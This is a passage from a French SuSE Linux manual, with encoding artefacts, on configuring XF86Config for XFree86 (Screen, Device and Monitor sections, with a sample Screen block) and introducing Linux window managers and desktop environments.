  16849.                                  Si vous utilisez le serveur P9000 vous devez simplement spΘcifier, dans la
  16850.                                  ligne Clocks      , la frΘquence que vous souhaitez pour chaque mode. Cette
  16851.                                  fois-ci, l'ordre des entrΘes n'a aucune importance.
  16852.  
  16853.                              ~   On  applique  en  gΘnΘral  la  rΦgle  suivante  :  Avec  les  circuits  d'horloge
  16854.                                  programmables, il ne doit pas y avoir de ligne Clocks       (ligne de valeurs
  16855.                                  d'horloge) dans le fichier XF86Config (exception P9000).
  16856.                                  Pour  les  cartes  sans  circuit  d'horloge  programmable  il  devrait  y  avoir
  16857.                                  une  ligne  Clocks      dans  le  fichier  XF86Config.  Ceci  permet  d'Θviter  la
  16858.                                  recherche  automatique  fastidieuse  et  parfois  dangereuse  des  frΘquences
  16859.                                  α chaque dΘmarrage du systΦme X Window. Il n'y a alors aucune valeur
  16860.  
  16861.  
  16862. 258
  16863.        ___________________________________________8.3.__Optimisation_de_l'installation_du_systΦme_X_Window_________________________*
  16864.  *______________________
  16865.  
  16866.  
  16867.  
  16868.       erronΘe  pour  les  cartes  dont  les  frΘquences  ne  sont  pas  lisibles  et  votre
  16869.       moniteur ne court aucun risque.
  16870.  
  16871. Si  maintenant  (aprΦs  avoir  pris  connaissance  des  paragraphes  prΘcΘdents)
  16872. vous souhaitez que les frΘquences soient reconnues automatiquement, vous
  16873. devez rΘpondre `y' α la question :
  16874.       Do  you  want  me  to  run  'X  -probeonly'  now?
  16875.  
  16876. L'Θcran deviendra noir pour un bref laps de temps et il apparaεtra ensuite une
  16877. liste des frΘquences ou un message vous faisant savoir qu'aucune frΘquence
  16878. n'a  ΘtΘ  reconnue.  Si  vous  avez  choisi  un  circuit  d'horloge,  il  ne  vous  sera
  16879. pas  demandΘ  si  X  -probeonly  doit  Ωtre  lancΘ  car  les  frΘquences  sont  alors
  16880. programmΘes automatiquement. Dans ce cas, vous passerez directement α la
  16881. prochaine phase de la configuration.
  16882.        _______________________________________________________________________________________________________________________||
  16883.  
  16884.        ||||||||  Si vous avez rΘpondu `y' α la derniΦre question et si l'Θcran reste sombre                     |||            |
  16885.        ||||||||  plus  de  30  secondes,  vous  devriez  absolument  interrompre  la  procΘdure                 ||             |
  16886.        ||||||||         ______        ____      ___             ______        _                                 ||             |
  16887.        ||||||||  avec  |______C|trl+|A____l|t+|____| ou  avec  |______C|trl+|c_ |!  Le  cas  ΘchΘant,  vous  devrez|           |
  16888.        ||||||||  mΩme  Θteindre  l'ordinateur  et  le  moniteur  afin  de  ne  pas  faire  courir  de           ||             |
  16889.        ||||||||                                                                                                 ||             |
  16890.        ||||||||  risque α votre matΘriel !                                                                      ||             |
  16891.        ||||||||_______________________________________________________________________________________________________________||_
  16892.  
  16893. Sauvegarde de la configuration
  16894.  
  16895. La  configuration  est  maintenant  terminΘe,  mais  le  fichier  de  configuration
  16896. doit encore Ωtre sauvegardΘ. Il est conseillΘ de stocker le fichier de configu-
  16897. ration X~Window XF86Config dans le rΘpertoire /etc. Il est ainsi garanti
  16898. que chaque machine dans un environnement rΘseau possΦde son ``propre'' fi-
  16899. chier de configuration mΩme si plusieurs machines se partagent le systΦme de
  16900. fichiers /usr.
  16901.  
  16902. Vous devrez spΘcifier ici `/etc/XF86Config' !
  16903.  
  16904. L'exΘcution du programme xf86config et la configuration du systΦme X Win-
  16905. dow sont ainsi terminΘes.
  16906.  
  16907.  
  16908.  
  16909. 8.3       Optimisation de l'installation du systΦme X Window
  16910.  
  16911. Les programmes XF86Setup  et xf86config  crΘent le fichier XF86Config de
  16912. faτon standard dans le rΘpertoire /etc. C'est le fichier de configuration pri-
  16913. maire pour le systΦme X Window . Vous trouverez ici les paramΦtres concer-
  16914. nant la souris, le moniteur et la carte graphique.
  16915.  
  16916. XF86Config  est  divisΘ  en  plusieurs  sections        se  rapportant  chacune  α  un
  16917. aspect de la configuration. Une section a toujours cette forme :
  16918.  
  16919.       Section  <Nom  de  la  section>
  16920.          entrΘe  1
  16921.          entrΘe  2
  16922.          entrΘe  n
  16923.       EndSection
  16924. Il existe diffΘrents types de sections :
  16925.  
  16926.  
  16927.  
  16928.                                                                                                                                    *
  16929.  *   259
  16930. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16931.  *_______________________________________@
  16932.  
  16933.                             _______________________________________________________________________________________________________*
  16934.  *_________
  16935.  
  16936.  
  16937.                               Files                    Cette section dΘcrit les chemins utilisΘs pour les polices
  16938.                                                        de caractΦres et la table des couleurs RGB.
  16939.                               ServerFlags              C'est ici que sont spΘcifiΘs les commutateurs gΘnΘraux.
  16940.  
  16941.  
  16942.                               Keyboard                 Sert  α  la  description  du  clavier  et  du  pilote  que  vous
  16943.                                                        utilisez.  Sous  Linux,  il  ne  peut  s'agir  que  de  Device
  16944.                                                        "Standard".
  16945.                               Pointer                  Donne  les  dΘfinitions  nΘcessaires  pour  les  dispositifs
  16946.                                                        de  pointage  utilisΘs.  En  gΘnΘral  ce  sera  une  souris,
  16947.                                                        mais  il  peut  trΦs  bien  s'agir  aussi  d'un  LightPen  ou
  16948.                                                        d'une tablette graphique. Il est essentiel de spΘcifier le
  16949.                                                        Protocol         et le Device      .
  16950.                               Monitor                  DΘcrit  le  moniteur  utilisΘ.  Les  ΘlΘments  de  cette  sec-
  16951.                                                        tion sont constituΘs par un nom auquel il est fait rΘfΘ-
  16952.                                                        rence lors de la dΘfinition de l'Θcran (Screen      ) ainsi que
  16953.                                                        par la description de la largeur de bande (Bandwidth        )
  16954.                                                        et  des  frΘquences  de  synchronisation  (HorizSync          et
  16955.                                                        VertRefresh          ). Les spΘcifications se font en MHz, kHz
  16956.                                                        ou Hz. Le serveur refuse toute modeline qui ne corres-
  16957.                                                        pond  pas  α  la  spΘcification  du  moniteur.  Ceci  permet
  16958.                                                        d'Θviter  qu'il  soit  transmis  par  inadvertance  des  frΘ-
  16959.                                                        quences  trop  ΘlevΘes  au  moniteur  si  vous  vous  livrez
  16960.                                                        α quelques expΘriences sur les modelines.
  16961.                               Device                   Cette  section  dΘfinit  une  carte  graphique  dΘterminΘe.
  16962.                                                        Elle est rΘfΘrencΘe par le nom spΘcifiΘ.
  16963.                               Screen                   Cette section rΘunit une section Driver      , (par exemple
  16964.                                                        vga2     ou  accel    ),  une  section  Monitor       et  une  section
  16965.                                                        Device      . Cet ensemble fournit les paramΦtres indispen-
  16966.                                                        sables pour XFree86. La sous-section Display        permet
  16967.                                                        de dΘterminer la taille de l'Θcran virtuel (Virtual       ), de
  16968.                                                        spΘcifier la fenΩtre d'affichage (ViewPort        ) et les Modes
  16969.                                                        utilisΘs avec cet Θcran.
  16970.  
  16971.                             _______________________________________________________________________________________________________*
  16972.  *_________
  16973.  
  16974.                                                    Tab. 8.1: Sections dans /etc/XF86Config
  16975.                            Nous allons examiner de plus prΦs les sections Monitor       , Device      et Screen      .
  16976.                            Vous trouverez dans la page de man de XFree86        (man  XFree86         ) des infor-
  16977.                            mations sur les autres sections
  16978.  
  16979.                            Le fichier XF86Config peut contenir plusieurs sections Monitor       et Device      .
  16980.                            Il est Θgalement possible qu'il contienne plusieurs sections Screen      ; la sec-
  16981.                            tion utilisΘe dΘpend du serveur qui a ΘtΘ lancΘ.
  16982.  
  16983.  
  16984.                            Section Screen
  16985.  
  16986.                            Voyons tout d'abord la section Screen      . Celle-ci rΘunit, comme nous l'avons
  16987.                            dΘjα  dit,  une  section  Monitor       et  une  section  Device      et  dΘtermine  quelles
  16988.  
  16989.  
  16990. 260
  16991.        ___________________________________________8.3.__Optimisation_de_l'installation_du_systΦme_X_Window_________________________*
  16992.  *______________________
  16993.  
  16994.  
  16995.  
  16996. rΘsolutions doivent Ωtre combinΘes α quelle profondeur de couleurs.
  16997. Une section|Screen|      peut ressembler, par exemple, α celle du fichier 8.3.1.                                               |
  16998.  
  16999.        _______________________________________________________________________________________________________________________||||
  17000.        ||||||||   Section  "Screen"                                                                                            |
  17001.        ||||||||         Driver          "accel"                                                                                |
  17002.        ||||||||         Device          "Miro  Crystal  40SV"                                                                  |
  17003.        ||||||||         Monitor        "EIZO  T563-T"                                                                          |
  17004.        ||||||||                                                                                                                |
  17005.        ||||||||         DefaultColorDepth   16                                                                                 |
  17006.        ||||||||         Subsection   "Display"                                                                                 |
  17007.        ||||||||               Depth           8                                                                                |
  17008.        ||||||||               Modes           "1024x768"  "800x600"  "640x480"                                                 |
  17009.        ||||||||                                                                                                                |
  17010.        ||||||||               ViewPort      0  0                                                                               |
  17011.        ||||||||               Virtual        1024  768                                                                         |
  17012.        ||||||||         EndSubsection                                                                                          |
  17013.        ||||||||         Subsection  "Display"                                                                                  |
  17014.        ||||||||                                                                                                                |
  17015.        ||||||||               Depth           16                                                                               |
  17016.        ||||||||               Modes           "1280x960"  "1152x864"  "1024x768"  "800x600"                                    |
  17017.        ||||||||               ViewPort      0  0                                                                               |
  17018.        ||||||||               Virtual        1280  960                                                                         |
  17019.        ||||||||                                                                                                                |
  17020.        ||||||||         EndSubsection                                                                                          |
  17021.        ||||||||         Subsection  "Display"                                                                                  |
  17022.        ||||||||               Depth           32                                                                               |
  17023.        ||||||||               Modes           "1024x768"  "800x600"  "640x480"                                                 |
  17024.        ||||||||                                                                                                                |
  17025.        ||||||||               ViewPort      0  0                                                                               |
  17026.        ||||||||               Virtual        1024  768                                                                         |
  17027.        ||||||||         EndSubsection                                                                                          |
  17028.        ||||||||   EndSection                                                                                                   |
  17029.        ||||||||_______________________________________________________________________________________________________________ |
  17030.  
  17031.             fichier 8.3.1: La section Screen du fichier /etc/XF86Config
  17032.  
  17033.  
  17034. La ligne Driver       dΘtermine le serveur X auquel doit s'appliquer cette dΘfini-
  17035. tion. Les serveurs ΘnumΘrΘs dans la liste de la page 255 sont spΘcifiΘs α l'aide
  17036. de mots-clΘs dans le tableau 8.2.
  17037.        ______________________________________________________________________________________________________________________
  17038.  
  17039.    Accel         Serveurs spΘciaux accΘlΘrΘs pour cartes accΘlΘratrices
  17040.    Mono          Serveurs non VGA 1 et 4 bits
  17041.    SVGA          Super serveur VGA
  17042.    VGA2          Serveur VGA (monochrome) 1 bit
  17043.    VGA16         Serveur VGA 4 bits
  17044.  
  17045.        ______________________________________________________________________________________________________________________
  17046.  
  17047.            Tab. 8.2: Mots clΘs pour serveurs X dans /etc/XF86Config
  17048. Le  fichier  XF86Config  peut  contenir,  pour  chaque  serveur,  une  section
  17049. Screen       utilisΘe lorsque le serveur correspondant est lancΘ.
  17050.  
  17051. Les deux lignes suivantes, Device       et Monitor       , dΘsignent la carte graphique
  17052. et le moniteur auxquels se rapporte cette dΘfinition. Il ne s'agit que de rΘfΘ-
  17053. rences aux sections Device       et Monitor        avec les noms correspondants. Ces
  17054. sections seront traitΘes plus loin de faτon plus dΘtaillΘe.
  17055.  
  17056. └ l'aide du mot-clΘ DefaultColorDepth               , vous pouvez choisir la profondeur
  17057. de couleurs avec laquelle le serveur sera lancΘ dans le cas o∙ celle-ci n'est pas
  17058.  
  17059.  
  17060.                                                                                                                                    *
  17061.  *   261
  17062. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  17063.  *_______________________________________@
  17064.  
  17065.  
  17066.  
  17067.                            spΘcifiΘe de faτon explicite au dΘmarrage.
  17068.                            Il  apparaεt  ensuite,  pour  chaque  profondeur  de  couleurs,  une  sous-section
  17069.                            Display       .  La  profondeur  de  couleurs  α  laquelle  se  rapporte  la  sous-section
  17070.                            est dΘfinie par le mot-clΘ Depth     .  Les valeurs possibles pour Depth      sont 8,
  17071.                            15, 16, 24 et 32. Ces valeurs ne sont pas supportΘes par tous les serveurs X.
  17072.                            En principe, 24 et 32 sont Θquivalentes pour beaucoup de cartes mais pour
  17073.                            d'autres, 24 indique le mode ``packed pixel'' 24 bpp et 32 le mode ``padded
  17074.                            pixel'' 24 bpp.
  17075.  
  17076.                            AprΦs le choix de la profondeur de couleurs, il est Θtabli, avec Modes     , une
  17077.                            liste de rΘsolutions qui est parcourue par le serveur X de gauche α droite. Il
  17078.                            est recherchΘ, pour chaque rΘsolution, une modeline        adΘquate qui concorde
  17079.                            avec l'une des frΘquences d'horloge spΘcifiΘes dans la section Monitor        ou
  17080.                            avec une frΘquence d'horloge pouvant Ωtre utilisΘe pour programmer la carte.
  17081.  
  17082.  
  17083.                            La premiΦre rΘsolution qui s'avΦre appropriΘe est celle avec laquelle le ser-
  17084.                            veur X est_lancΘ_(c'est ce_que_l'on_appelle_le mode  par  dΘfaut            ). Avec les
  17085.                            touches |C______|trl+ |A____l|t+_|G_________|ris,_+vous_pouvez_vous dΘplacer vers le c⌠tΘ droit
  17086.                            de  la  liste  et  avec | ______C|trl+ | ____A|lt+ | __________G|risvers  le  c⌠tΘ  gauche.  La  rΘsolu-
  17087.                            tion de l'Θcran peut ainsi Ωtre modifiΘe au cours de l'exΘcution du systΦme
  17088.                            X Window.
  17089.  
  17090.                            Les  deux  derniΦres  lignes  des  sous-sections  concernent  la  taille  de  l'Θcran
  17091.                            virtuel et l'insertion dans celui-ci de la portion visible de l'Θcran physique.
  17092.                            La taille de l'Θcran virtuel dΘpend de la mΘmoire de la carte graphique et de
  17093.                            la profondeur de couleurs dΘsirΘe mais elle est indΘpendante de la rΘsolution
  17094.                            maximale du moniteur. Si la carte possΦde par exemple 1 MB de RAM vidΘo,
  17095.                            l'Θcran virtuel peut atteindre une taille de 1024/1024 pixels pour une profon-
  17096.                            deur de couleurs d'une valeur de 8 bits. Il est expressΘment recommandΘ, tout
  17097.                            particuliΦrement avec les serveurs accΘlΘrΘs, de ne pas utiliser la totalitΘ de la
  17098.                            mΘmoire de la carte graphique pour l'Θcran virtuel car la zone de mΘmoire
  17099.                            encore disponible sur la carte graphique peut servir pour diffΘrents caches de
  17100.                            jeux de caractΦres et zones graphiques.
  17101.  
  17102.                            La taille de l'Θcran virtuel est spΘcifiΘe avec Virtual
  17103.  
  17104.                            Viewport        dΘtermine la fenΩtre d'affichage. C'est le point sur lequel l'angle
  17105.                            supΘrieur  gauche  de  la  portion  visible  de  l'Θcran  physique  est  projetΘ  sur
  17106.                            l'Θcran virtuel. Une valeur de 0  0   signifie que les deux angles gauches su-
  17107.                            pΘrieurs sont placΘs au dΘpart l'un sur l'autre. La portion visible est dΘplacΘe
  17108.                            sur l'Θcran virtuel par un mouvement du pointeur de la souris sur le bord de
  17109.                            l'Θcran.  La  fenΩtre  d'affichage  (angl.  viewport)  n'a  donc  d'importance  que
  17110.                            lors du lancement du systΦme X Window et seulement dans le cas o∙ la taille
  17111.                            de l'Θcran virtuel ne concorderait pas avec la rΘsolution rΘelle.
  17112.  
  17113.  
  17114.                            Section Device
  17115.  
  17116.                            Une  section  Device      dΘcrit  une  carte  graphique  prΘcise.  XF86Config  peut
  17117.                            contenir  n'importe  quel  nombre  de  sections  Device      α  condition  que  leurs
  17118.                            noms, spΘcifiΘs α l'aide du mot-clΘ Identifier          se distinguent.
  17119.  
  17120.                            Il ne semble pas utile de dΘcrire ici la section Device      de faτon dΘtaillΘe. Vous
  17121.                            pouvez toutefois vous reporter α la documentation ~ rΘdigΘe malheureusement
  17122.  
  17123.  
  17124. 262
  17125.        ___________________________________________8.3.__Optimisation_de_l'installation_du_systΦme_X_Window_________________________*
  17126.  *______________________
  17127.  
  17128.  
  17129.  
  17130. en  anglais  ~  du  fichier  /usr/X11/lib/X11/doc  et  α  la  page  de  man  de
  17131. XFree86        (man  XFree86         ).
  17132. Le rΘpertoire /usr/X11R6/lib/X11/doc/Devices contient toute une sΘrie
  17133. de sections Device      . Si l'une des cartes mentionnΘes est utilisΘe, la section
  17134. Device       correspondante doit Ωtre insΘrΘe dans le fichier /etc/XF86Config
  17135. et la section Screen       doit Ωtre modifiΘe en consΘquence par l'ajout du pΘri-
  17136. phΘrique correspondant.
  17137.  
  17138. Si la carte recherchΘe n'est pas dans la liste, cela ne signifie pas qu'elle n'est
  17139. pas supportΘe par XFree86 ! Il est tout simplement possible que personne n'ait
  17140. encore envoyΘ de section Device       pour cette carte α l'Θquipe XFree86. Une
  17141. liste des cartes supportΘes se trouve dans le fichier README contenu dans le
  17142. rΘpertoire /usr/X11/lib/X11/doc ; dans le fichier AccelCards les cartes
  17143. accΘlΘratrices sont dΘtaillΘes encore une fois de faτon plus prΘcise.
  17144.  
  17145.  
  17146. Section Monitor
  17147.  
  17148. Les  sections  Monitor,  en  analogie  avec  les  sections  Device,  dΘcrivent  cha-
  17149. cune un moniteur. Le fichier /etc/XF86Config peut contenir n'importe quel
  17150. nombre de sections Monitor        portant des noms diffΘrents. Il est prΘcisΘ dans
  17151. la section Screen quelle section Monitor est dΘterminante.
  17152.  
  17153. Pour la dΘfinition du moniteur, plus encore que pour la description de la carte
  17154. graphique,  la  crΘation  d'une  section  Monitor  ne  devrait  Ωtre  entreprise  que
  17155. par des utilisateurs possΘdant une certaine expΘrience. Un ΘlΘment essentiel
  17156. de la section Monitor est constituΘ par les ``modelines'' dans lesquelles sont
  17157. spΘcifiΘes  les  synchronisations  horizontales  et  verticales  pour  la  rΘsolution
  17158. utilisΘe.
  17159.        _______________________________________________________________________________________________________________________
  17160.        ||||||||                                                                                                 ||             |
  17161.        ||||||||  Aucune  modification  ne  devrait  Ωtre  apportΘe  aux  modelines  sans  une                   ||             |
  17162.        ||||||||  bonne connaissance du mode de fonctionnement du moniteur et de la carte                        ||             |
  17163.        ||||||||                                                                                                 ||             |
  17164.        ||||||||  graphique car une telle modification peut Θventuellement entraεner la des-                     ||             |
  17165.        ||||||||  truction du moniteur !                                                                         ||             |
  17166.        ||||||||_______________________________________________________________________________________________________________||_
  17167.  
  17168. Ceux qui se sentent le courage d'Θlaborer leurs propres descriptions de mo-
  17169. niteur  devraient  Ωtre  familiarisΘs  avec  la  documentation  qui  se  trouve  dans
  17170. le rΘpertoire /usr/X11/lib/X11/doc. Il convient de mentionner tout parti-
  17171. culiΦrement [FCR93      ] qui contient une description dΘtaillΘe des fonctions du
  17172. matΘriel et de la crΘation de modelines.
  17173.  
  17174. Des sections Monitor prΘdΘfinies pouvant Ωtre insΘrΘes dans XF86Config se
  17175. trouvent  dans  le  fichier  /usr/X11/lib/X11/Monitors.  Un  moniteur  qui
  17176. n'y  est  pas  mentionnΘ  devrait  Ωtre  utilisΘ  avec  les  synchronisations  stan-
  17177. dard  VESA  telles  qu'elles  se  trouvent  dans  la  section  Monitor  crΘΘe  par
  17178. XF86Setup  ou xf86config . Dans ce cas, il est essentiel que les valeurs pour
  17179. les frΘquences horizontales et verticales aient ΘtΘ correctement spΘcifiΘes !
  17180.  
  17181. Ici  aussi,  les  configurations  testΘes  peuvent  Ωtre  ajoutΘes  α  la  liste  lorsque
  17182. celles-ci sont communiquΘes α SuSE     GmbH ou α l'Θquipe XFree86.
  17183.                                                                                                                                    *
  17184.  *   263
  17185. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  17186.  *_______________________________________@
  17187.  
  17188. 264
  17189.  
  17190.                                                                                                            Chapitre  9
  17191.                              Le   gestionnaire   de   fenΩtres   ~
  17192.  
  17193.  
  17194.  
  17195.              Votre   ouverture   sur   l'ordinateur
  17196.  
  17197.  
  17198. AprΦs avoir configurΘ le serveur X, vous voudrez certainement entrer en pos-
  17199. session d'un beau bureau dotΘ de fenΩtres, de menus et de tout un tas d'autres
  17200. choses dont doit disposer un bureau ``comme il faut''.
  17201.  
  17202. Ce chapitre traite donc des gestionnaires de fenΩtres et dΘveloppe les thΦmes
  17203. suivants :
  17204.  
  17205.   ~   Un gestionnaire de fenΩtres et ses fonctions
  17206.  
  17207.   ~   KDE  ~ l'environnement K Desktop comme alternative
  17208.  
  17209.   ~   Fvwm2  ~ le gestionnaire de fenΩtres classique sous Linux
  17210.  
  17211.   ~   susewm  ~ ΘlΘgant chemin qui vous mΦne α votre propre fichier de confi-
  17212.       guration
  17213.  
  17214.   ~   La pratique : personnalisation de diffΘrentes configurations.
  17215.  
  17216. Tout aussi impatient que vous puissiez Ωtre de passer α la pratique, n'oubliez
  17217. pas qu'il est nΘcessaire de possΘder quelques connaissances de base. Donc,
  17218. pour commencer, un peu de thΘorie !
  17219.  
  17220.  
  17221. 9.1       ThΘorie de l'interface utilisateur graphique
  17222.  
  17223.  
  17224. 9.1.1      Structure du systΦme X Window
  17225.  
  17226. Contrairement α ce qui se passe pour les +  interfaces utilisateur graphiques
  17227. monolithiques comme celles que l'on rencontre, par exemple, sous Windows
  17228. ou OS/2, les diffΘrentes couches fonctionnelles sous Linux sont strictement
  17229. sΘparΘes les unes des autres. Ceci rend α premiΦre vue la manipulation plus
  17230. complexe  mais  vous  offre  en  compensation  une  plus  grande  flexibilitΘ.  Le
  17231. systΦme peut ainsi satisfaire de trΦs hautes exigences.
  17232.  
  17233. La premiΦre couche au dessus du matΘriel est le systΦme d'exploitation qui
  17234. assume des tΓches de base telles que par exemple la gestion de la mΘmoire.
  17235.  
  17236. Au dessus, se trouve le +  serveur X (systΦme X Window). D'une part, le ``ser-
  17237. veur X'' correspond au ``pilote graphique'' (pour reprendre un terme employΘ
  17238. couramment sous d'autres systΦmes) et d'autre part il met α disposition une
  17239. couche  d'abstraction  au  niveau  rΘseau.  Ceci  permet  une  utilisation  rΘpartie
  17240. sur l'ensemble d'un rΘseau (y compris Internet) des services d'un serveur X.
  17241. Voici quelles sont les tΓches du serveur X :
  17242.  
  17243.  
  17244.                                                                                                                                    *
  17245.  *   265
  17246. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17247.  *_______________________________________@
  17248.  
  17249.  
  17250.  
  17251.                              ~   AccΦs α la carte graphique,
  17252.                              ~   traτage de points, de lignes, de rectangles, Θcriture de texte et
  17253.  
  17254.                              ~   distribution de ces services ou accΦs α ceux-ci α travers un rΘseau ou par
  17255.                                  la machine locale.
  17256.  
  17257.  
  17258.                            Bien que la plupart des utilisateurs font usage des services du serveur X uni-
  17259.                            quement sur leur station de travail, c'est-α-dire localement, la fonction rΘseau
  17260.                            intΘgrΘe  et  transparente  pour  l'utilisateur  n'en  prΘsente  pas  moins  certains
  17261.                            avantages. L'utilisateur peut bΘnΘficier d'une interface unifiΘe sans qu'il soit
  17262.                            imposΘ de restrictions α la reprΘsentation graphique du bureau. Ce n'est que
  17263.                            grΓce α cela qu'il est possible de dΘvelopper diffΘrentes interfaces graphiques
  17264.                            tout en faisant en sorte que chaque programme puisse malgrΘ tout Ωtre reprΘ-
  17265.                            sentΘ sur chaque bureau.
  17266.  
  17267.                            Si  l'on  travaille  en  rΘseau,  il  est  parfaitement  possible  de  faire  tourner  au
  17268.                            bureau une application dont les affichages apparaεtront sur l'Θcran du PC que
  17269.                            l'on possΦde α la maison. On peut faire tourner indiffΘremment sur la machine
  17270.                            distante, soit quelques applications seulement, soit tous les programmes du
  17271.                            bureau. L'architecture matΘrielle et le systΦme d'exploitation ~ dans la mesure
  17272.                            o∙ celui-ci supporte X11 ~ ne constituent pas non plus un obstacle. Pour citer
  17273.                            un exemple, il n'est plus dΘsormais indispensable de se trouver dans la mΩme
  17274.                            piΦce que la station de travail graphique performante et bruyante. Il est tout α
  17275.                            fait possible de travailler dans un lieu plus confortable sur une machine moins
  17276.                            puissante et de faire exΘcuter l'application que l'on dΘsire sur la station de
  17277.                            travail. Linux Θtant un systΦme multiutilisateur, plusieurs personnes peuvent
  17278.                            travailler simultanΘment sur une mΩme machine en utilisant des terminaux X.
  17279.                            Un terminal X est une petite machine sans disque dur qui amorce α travers le
  17280.                            rΘseau.
  17281.  
  17282.                            Afin  que  les  rectangles  qui  nous  fournissent  les  ΘlΘments  de  base  pour  les
  17283.                            fenΩtres et outils de contr⌠le que nous connaissons dΘjα se transforment en
  17284.                            fenΩtres ou menus que l'on peut dΘplacer α son grΘ, il est nΘcessaire d'avoir
  17285.                            recours aux services d'un gestionnaire de fenΩtres.
  17286.  
  17287.                            Les fenΩtres ont une importance cruciale du fait qu'elles permettent de faire
  17288.                            tourner diffΘrentes applications les unes α c⌠tΘ des autres d'une maniΦre facile
  17289.                            α superviser et d'utiliser des menus qui rendent plus aisΘe la manipulation de
  17290.                            la machine.
  17291.  
  17292.                            Le gestionnaire de fenΩtres reprΘsente donc une couche supplΘmentaire entre
  17293.                            le serveur X, les programmes d'application et l'utilisateur comme le montre
  17294.                            la figure 9.1 page suivante.1
  17295.  
  17296.                            Il existe sous Linux plusieurs gestionnaires de fenΩtres et il convient ici de
  17297.                            faire la diffΘrence entre les gestionnaires de fenΩtres proprement dits (angl.
  17298.                            windowmanagers) et les ``environnements de travail'' ou les ``environnements
  17299.                            de bureau'' (angl. Desktop Environments). Alors que les gestionnaires de fe-
  17300.                            nΩtres proprement dits se limitent α s'occuper des fenΩtres, les ``environne-
  17301.                            ments de bureau'' disposent, en plus du gestionnaire de fenΩtres, d'un certain
  17302.                            nombre d'applications qui ont un aspect et un mode d'utilisation homogΦnes.
  17303.                            _____________________________________________1
  17304.                               Nous mentionnerons ici, uniquement pour complΘter notre description, que les dΘveloppeurs
  17305.                            d'applications X ont directement accΦs α X.
  17306.  
  17307.  
  17308. 266
  17309.        _________________________________________________________9.1.__ThΘorie_de_l'interface_utilisateur_graphique_________________*
  17310.  *______________________
  17311.  
  17312.                               ____________________________________________________||||
  17313.                               |                                                    |
  17314.  
  17315.                               ||                                                   ||
  17316.                               |                                                    |
  17317.                               |                                                    |
  17318.                               |                                                    |
  17319.                               |                                                    |
  17320.                               |                                                    |
  17321.                               |                                                    |
  17322.                               |                                                    |
  17323.                               |                                                    |
  17324.                               |                                                    |
  17325.                               |                                                    |
  17326.                               |                                                    |
  17327.                               |                                                    |
  17328.                               |                                                    |
  17329.                               |                                                    |
  17330.                               |                                                    |
  17331.                               |                                                    |
  17332.                               |                                                    |
  17333.                               |                                                    |
  17334.                               |                                                    |
  17335.                               |___________________________________________________ |
  17336.  
  17337.                   Fig. 9.1: Couches de l'interface utilisateur graphique
  17338.  
  17339.  
  17340.  
  17341. Les gestionnaires de fenΩtres suivants sont fournis avec SuSE     Linux :
  17342.  
  17343.  
  17344.   ~   Fvwm ~ pendant trΦs longtemps le gestionnaire de fenΩtres sous Linux
  17345.  
  17346.   ~   Fvwm95  ~ qui s'inspire de Windows 95
  17347.  
  17348.   ~   AfterStep ~ mΩme prΘsentation et aspect que NeXTSTEP
  17349.  
  17350.   ~   WindowMaker ~ idem, mais complΦtement rΘimplΘmentΘ
  17351.  
  17352.   ~   Enlightenment  ~ richement ΘquipΘ
  17353.  
  17354.   ~   Ctwm ~ gestionnaire de fenΩtres sans fioritures
  17355.  
  17356.   ~   Olvwm  ~  gestionnaire  de  fenΩtres  virtuel  OpenLook ,  pour  ceux  qui
  17357.       aiment sortir de l'ordinaire.
  17358.  
  17359.  
  17360. Vous  trouverez  encore  d'autres  gestionnaires  de  fenΩtres  dans  la  sΘrie  xwm.
  17361. Sur  la  base  de  Fvwm ,  il  a  ΘtΘ  Θcrit  un  trΦs  grand  nombre  d'autres  getion-
  17362. naires de fenΩtres pouvant tous Ωtre configurΘs d'une maniΦre analogue. Cette
  17363. famille compte les versions 1, 2.0 et 2.2 de Fvwm ainsi que AfterStep , Bow-
  17364. man , cdesim et Fvwm95 .
  17365.  
  17366. Il existe, en outre, les environnements de bureau suivants :
  17367.  
  17368.  
  17369.   ~   KDE  ~ K Desktop Environments (prΘvu par dΘfaut sous SuSE     Linux)
  17370.  
  17371.   ~   GNOME  ~ GNU Network Object Model Environment
  17372.  
  17373.   ~   XFce ~ Un clone du produit commercial CDE
  17374.  
  17375.  
  17376. Le choix de votre gestionnaire de fenΩtres dΘpend uniquement de votre go√t
  17377. personnel, des fonctions dont vous avez besoin et de la performance de votre
  17378. matΘriel.  Par  leur  consommation  de  mΘmoire,  les  gestionnaires  de  fenΩtres
  17379. prΘsentent  des  diffΘrences  parfois  considΘrables.  Un  environnement  de  bu-
  17380. reau tel que KDE  ou GNOME  ne devrait Ωtre installΘ que sur des machines
  17381. dotΘes d'au moins 64 Mo de mΘmoire physique (+  mΘmoire). Mais outre leur
  17382. apparence, ce sont surtout leurs possibilitΘs de configuration et d'extension
  17383.  
  17384.  
  17385.                                                                                                                                    *
  17386.  *   267
  17387. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17388.  *_______________________________________@
  17389.  
  17390.  
  17391.  
  17392.                            qui  diffΘrencient  le  plus  les  divers  gestionnaires  de  fenΩtres.  Depuis  la  fi-
  17393.                            gure 9.2 jusqu'α la figure 9.5, vous voyez quatre exemples de dΘcorations de
  17394.                            fenΩtres. La figure 9.2 montre le serveur X sans gestionnaire de fenΩtres ac-
  17395.                            tivΘ. Il n'existe pas de cadres permettant d'influer sur la taille et la position de
  17396.                            la fenΩtre.
  17397.  
  17398.                              Fig. 9.2: Pas de dΘcoration de fenΩtre ~ X11 sans gestionnaire de fenΩtres
  17399.  
  17400.  
  17401.  
  17402.                                                Fig. 9.3: DΘcoration de fenΩtre de kwm de KDE
  17403.  
  17404.  
  17405.  
  17406.                                                      Fig. 9.4: DΘcoration de fenΩtre de Fvwm
  17407.                                                Fig. 9.5: DΘcoration de fenΩtre de WindowMaker
  17408.  
  17409.  
  17410.                            Rien ne vous empΩche d'installer (parallΦlement) les diffΘrents gestionnaires
  17411.                            de fenΩtres et de les essayer. Lorsque vous aurez pris une dΘcision, vous pour-
  17412.                            rez modifier votre gestionnaire de fenΩtres selon vos dΘsirs et vous crΘer un
  17413.                            environnement de travail personnalisΘ. KDE  est installΘ comme environne-
  17414.                            ment de travail par dΘfaut.
  17415.                            ________________________________________________________________________________________________________*
  17416.  *________||
  17417.                            |  Pour  terminer,  encore  une  astuce  :  La  majeure  partie  des  informations                      *
  17418.  *        ||||
